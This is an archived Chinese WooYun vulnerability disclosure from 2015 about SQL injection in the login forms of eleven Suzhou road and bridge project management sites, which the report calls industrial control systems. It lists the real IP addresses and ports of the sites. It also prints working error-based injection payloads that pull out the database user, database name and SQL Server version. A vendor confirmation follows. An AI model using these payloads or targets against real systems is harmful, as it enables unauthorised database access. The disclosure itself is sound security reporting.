当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0127734

漏洞标题：多个国家工控系统高危SQL注入漏洞（影响11个系统）

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2015-07-21 19:15

修复时间：2015-09-07 16:10

公开时间：2015-09-07 16:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-21： 细节已通知厂商并且等待厂商处理中
2015-07-24： 厂商已经确认，细节仅向厂商公开
2015-08-03： 细节向核心白帽子及相关领域专家公开
2015-08-13： 细节向普通白帽子公开
2015-08-23： 细节向实习白帽子公开
2015-09-07： 细节向公众公开

简要描述：

多个国家工控系统高危SQL注入漏洞（影响11个系统）

详细说明：

一共11处工控系统
不同的端口加以区分
均为同一套系统

吴中打到东段暨南湖路快速路工程：http://61.155.23.238:80815
赌咒时吴中区西山岛出入通道扩建工程：http://61.155.23.238:8086
苏虞张公路改扩建北段工程：http://61.155.23.238:8080
312国道苏州段分流线工程（中环以西段）：http://61.155.23.238:8083
苏州市西环高架南延工程：http://61.155.23.238:8084
七浦塘拓浚整治工程（高等级公路桥梁工程）：http://61.155.23.238:8202/
西环快速路北延新区互通节点工程：http://61.155.23.238:8087
吴淞江大道跨吴淞江大桥工程：http://61.155.23.238:8088
相城区聚金路南延工程（312国道-济学路段）：http://61.155.23.238:8201/
苏虞张公路改扩建南段工程：http://61.155.23.238:8081
312国道苏州段分流线工程：http://61.155.23.238:8082

漏洞证明：

登陆处用户名处未过滤，导致注入
以苏虞张公路改扩建北段工程：http://61.155.23.238:8080 为例

100.png


user：
#poc

admin' and 1=convert(int,user) --


#result

gxjt


db_name
#poc

admin' and db_name>0 --


#result

wep


version:
#poc

admin' and @@version>0 --


#result

'Microsoft SQL Server 2008 R2 (SP2) - 10.50.4042.0 (X64) 
Mar 26 2015 21:18:04 
Copyright (c) Microsoft Corporation
Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1)


手工注入仅做证明--

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-07-24 16:09

厂商回复：

CNVD确认并复现所述情况，已由CNVD通过软件生产厂商（苏州天地易智公司）公开联系渠道向其邮件通报，由其后续提供修复方案。同时，将相关案例下发给对应的CNCERT分中心，由其后续协调网站管理单位处置．

最新状态：

暂无